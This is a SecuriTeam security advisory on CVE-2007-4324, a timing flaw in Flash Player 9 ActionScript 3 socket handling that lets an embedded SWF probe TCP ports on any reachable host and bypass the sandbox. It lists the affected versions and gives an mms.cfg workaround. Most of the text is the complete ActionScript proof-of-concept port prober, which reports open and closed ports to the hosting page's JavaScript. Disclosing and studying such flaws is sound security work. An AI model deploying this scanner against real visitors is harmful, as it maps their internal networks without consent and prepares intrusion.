The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Socket Connection Timing Can Reveal Information About Network
Configuration (Exploit)
------------------------------------------------------------------------
SUMMARY
Due to a design flaw in ActionScript 3 socket handling, compiled Flash
movies are able to scan for open TCP ports on any host reachable from the
host running the SWF, bypassing the Flash Player Security Sandbox Model
and without the need to rebind DNS.
DETAILS
Vulnerable Systems:
* Flash Player version 9.0.47.0
* Flash Player version 9.0.98.0
* Flash Player version 9.0.115.0
Workaround:
The following instructions reference the mms.cfg configuration file. For
a general introduction to mms.cfg, see the Adobe Flash Player
Administration Guide.
To disable ActionScript socket functionality:
1. Ensure that Flash Player 9.0.115.0, or later, is installed. Visit the
Adobe Flash Player Download Center to obtain the latest version, or visit
the Adobe Flash Product page to determine the version currently installed.
2. Find the location of the file mms.cfg on your system(s). This file may
already exist, or you may need to create it. You will most likely need
administrative access to create or edit this file. mms.cfg is located at:
* Windows: \Macromed\Flash\mms.cfg
(e.g. C:\WINDOWS\system32\Macromed\Flash\mms.cfg)
* Mac OS: /Library/Application Support/Macromedia/mms.cfg
* Linux: /etc/adobe/mms.cfg
3. Add the following line to mms.cfg:
DisableSockets=1
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4324>
CVE-2007-4324
Exploit:
/**
* Flash 9 AS3 TCP-Portprober
*
* this Actionscript Application was created to detect if a given TCP Port
on a given host is reachable or not from the host the swf is running on
*
* this application is totally bypassing the flash player security sandbox
model / it actually uses the security model to probe a port
*
* the application is based on a timing problem in the SecurityErrorEvent
that Adobe introduced with AS3
*
* the swf currently needs to be reloaded for every port because the
SecurityPolicy state is cached in the player
* javascript is used to implement the actual portscanner
*
* the application will report closed ports for services that understand
the "<policy-file-request/>"-XML this is a extremely rare case
*
* @author David Neu <david.neu@gmail.com>
* @thx fukami, SektionEins GmbH - Web Security Auditing and Software
(http://www.sektioneins.de/)
* @usage embed in an html page and add the parameters host and port
* the application will check if the port is reachable from the
host the swf runs on and then calls the javascript function "reportResult"
with the port number and the ports state (true or false)
* @see http://scan.flashsec.org
* @see https://www.flashsec.org
* @see http://livedocs.adobe.com/flex/2/langref/flash/net/XMLSocket.html
* @see
http://livedocs.adobe.com/flex/2/langref/flash/events/SecurityErrorEvent.html
*/
package
{
import flash.display.Sprite;
import flash.external.ExternalInterface;
import flash.net.Socket;
import flash.text.TextField;
import flash.utils.Timer;
import flash.events.Event;
import flash.events.SecurityErrorEvent;
import flash.events.IOErrorEvent;
import flash.events.TimerEvent;
import flash.system.fscommand;
public class Main extends flash.display.Sprite
{
// textField for status viewing
protected var tf:TextField;
// the socket that (tries) connects
protected var socket:Socket;
// timer for detecting not answering policy-requests
protected var timer:Timer;
// the host to probe
protected var host:String;
// the port to probe
protected var port:Number;
// Main Entry Point
public function Main():void
{
// setup status textfield
tf = new TextField();
tf.width = 600;
tf.height = 300;
// get port from parameters
port = parseInt(this.loaderInfo.parameters['port']);
if (isNaN(port)) {
port = 80;
}
// get host from parameters
host = this.loaderInfo.parameters['host'];
if (host == null) {
host = '127.0.0.1';
}
addChild(tf);
// setup the timer
// if a port is closed an the flash plugin is not able to write the
"<policy-file-request/>"-XML to the socket it will immediately fire an
SecurityErrorEvent. If the SecurityErrorEvent is not fired within 2
seconds we assume that flash was able to write the xml to the socket an is
waiting for a reply -> the port is open. The timer can be reduced a lot to
make scanning even faster.
timer = new Timer(2000, 1);
timer.addEventListener(TimerEvent.TIMER, onTimer);
//tf.appendText('interface: '+ExternalInterface.available);
//ExternalInterface.call('alert', 'test');
probe();
}
protected function probe():void
{
// show some info text
tf.appendText('probe host: '+host+' port: '+port);
// setup socket an event listeners
socket = new Socket();
// listen to the badly implemented security error
socket.addEventListener(SecurityErrorEvent.SECURITY_ERROR,
onSecurityError);
// listen to sucessfull connects (should in fact never happen)
socket.addEventListener(Event.CONNECT, onConnect);
// listen to IO Errors that will also never occur
socket.addEventListener(IOErrorEvent.IO_ERROR, onIOError);
timer.reset();
timer.start();
// try to connect
socket.connect(host, port);
}
/**
* Called when the SecurityErrorEvent is Fired
* when there is an SecurityErrorEvent before the timeout we assume the
port is closed
*
* @param e SecurityErrorEvent
* @return void
*/
protected function onSecurityError(e:SecurityErrorEvent):void
{
portClosed();
}
/**
* Called when the Connect event is fired
* when we can conect to a port it is definitely open
* should only happen in very rare cases
*
* @param e Event
* @return void
*/
protected function onConnect(e:Event):void
{
portOpen();
}
/**
* when we get an IO Error the port is closed
* as the connect event this will only happen in very rare cases
*
* @param e
* @return
*/
protected function onIOError(e:Event):void
{
portClosed();
}
/**
* when the flash plugin has waited too long for the reply to the Policy
Request the Timer is fired
* assume the port is open as flash was able to write the policy request
to it
*
* @param e TimerEvent
* @return void
*/
protected function onTimer(e:TimerEvent):void
{
portOpen();
}
/**
* show that the port is open and report to the html-Page
*
* @return void
*/
protected function portOpen():void
{
tf.appendText('\nOPEN');
ExternalInterface.call('reportResult', port, "true");
}
/**
* show that the port is closed and report to the html page
* @return void
*/
protected function portClosed():void
{
tf.appendText('\nCLOSED');
timer.reset();
ExternalInterface.call('reportResult', port, "false");
}
}
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:david.neu@gmail.com> David
Neu.
The original article can be found at: <http://scan.flashsec.org/>
http://scan.flashsec.org/
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
